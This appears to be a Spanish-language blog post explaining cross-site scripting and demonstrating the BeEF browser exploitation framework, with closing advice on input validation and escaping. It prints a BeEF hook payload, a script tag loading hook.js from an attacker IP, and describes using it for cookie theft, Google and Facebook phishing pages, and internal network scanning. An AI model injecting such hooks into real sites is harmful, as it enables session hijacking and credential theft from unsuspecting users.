
¿Cómo de peligroso es realmente el XSS?
Índice Link to Índice
Introducción Link to Introducción
En el vasto panorama de las amenazas en ciberseguridad, Cross-Site Scripting (XSS) es una vulnerabilidad que, aunque a menudo subestimada, puede tener consecuencias devastadoras.
¿Qué es el XSS? Link to ¿Qué es el XSS?
Cross-Site Scripting (XSS) es una vulnerabilidad que se encuentra en aplicaciones web. Se produce cuando un atacante logra inyectar código malicioso, típicamente scripts en lenguaje JavaScript, en una página web que otros usuarios visitan. Esto ocurre porque la aplicación no valida correctamente los datos ingresados por los usuarios antes de mostrarlos en el navegador de otros.
Hay tres tipos principales de XSS:
- Reflected: El código malicioso se inyecta a través de un enlace y se ejecuta cuando un usuario desprevenido hace clic en él.
- Stored: El código se almacena en el servidor y afecta a todos los usuarios que visiten la página comprometida.
- DOM-based: Se ejecuta directamente en el navegador, manipulando el DOM sin interacción directa con el servidor.
¿Qué permite hacer el XSS? Link to ¿Qué permite hacer el XSS?
Aunque en un principio podría parecer que XSS solo permite ejecutar alertas molestas en el navegador, sus implicaciones van mucho más allá. Un atacante que explote esta vulnerabilidad puede:
- Robar cookies: Accediendo a información sensible que permite suplantar la identidad de un usuario en el sistema.
- Manipular la interfaz de usuario: Engañar a los usuarios mostrando formularios falsos para robar credenciales.
- Distribuir malware: Redirigir a los usuarios a sitios maliciosos o descargar archivos infectados.
- Secuestrar sesiones: Tomar el control de cuentas legítimas.
- Realizar ataques avanzados: A través de herramientas especializadas como BeEF.
Introducción a BeEF Link to Introducción a BeEF
BeEF (Browser Exploitation Framework) es una herramienta de código abierto diseñada específicamente para explotar navegadores web comprometidos. Aunque nació con fines educativos y de auditoría de seguridad, en manos malintencionadas, puede causar un daño considerable.
Una vez que un atacante logra inyectar un “hook” en el navegador de la víctima mediante un XSS, se establece una conexión con el servidor de BeEF. A partir de ahí, el atacante puede:
- Obtener información detallada sobre el navegador y el sistema operativo de la víctima. Realizar ataques adicionales, como abrir ventanas emergentes, keylogging, o incluso escanear la red interna.
- Usar módulos para explotar otras vulnerabilidades específicas.
Esto facilita que en vez de tener que realizar un payload complejo en JavaScript para realizar un ataque de XSS, con simplemente inyectar el hook se pueden hacer todas estas acciones a golpe de clic.
SetUp Link to SetUp
Una vez ejecutamos BeEF, se nos mostrará la siguiente información:

Como podemos observar el hook que tenemos que inyectar es: <script src="http//<IP>:3000/hook.js"></script>
. Esto cargará el Javascript necesario para que BeEF funcione.
Una vez la víctima a cargado este script podemos acceder a http://localhost:3000/ui/panel
y podremos ver lo siguiente:

En la columna de la izquierda podremos ver que tenemos una víctima. Ahora podremos ejecutar diversos scripts.
A continuación se ilustrarán algunos ejemplos:
Ejemplos prácticos Link to Ejemplos prácticos
Obtener las cookies de sesión: Link to Obtener las cookies de sesión:

Phishing de Google: Link to Phishing de Google:

Si se introducen datos lo obtendremos de la siguiente forma:

Phishing de Facebook: Link to Phishing de Facebook:

Si se introducen datos lo obtendremos de la misma forma que el ejemplo anterior.
Obtener red de dispositivos afectados Link to Obtener red de dispositivos afectados

Conclusión Link to Conclusión
El XSS es mucho más peligroso de lo que parece a simple vista. Si bien puede considerarse una vulnerabilidad “clásica”, sus posibilidades en un entorno moderno son alarmantes, especialmente cuando se combinan con herramientas como BeEF. Protegerse contra el XSS implica adoptar buenas prácticas de programación, como la validación y el “escape” de algunos caracteres, además de utilizar herramientas de auditoría y análisis.
¿Cómo de peligroso es realmente el XSS?
© Gh3rmy | CC BY-SA 4.0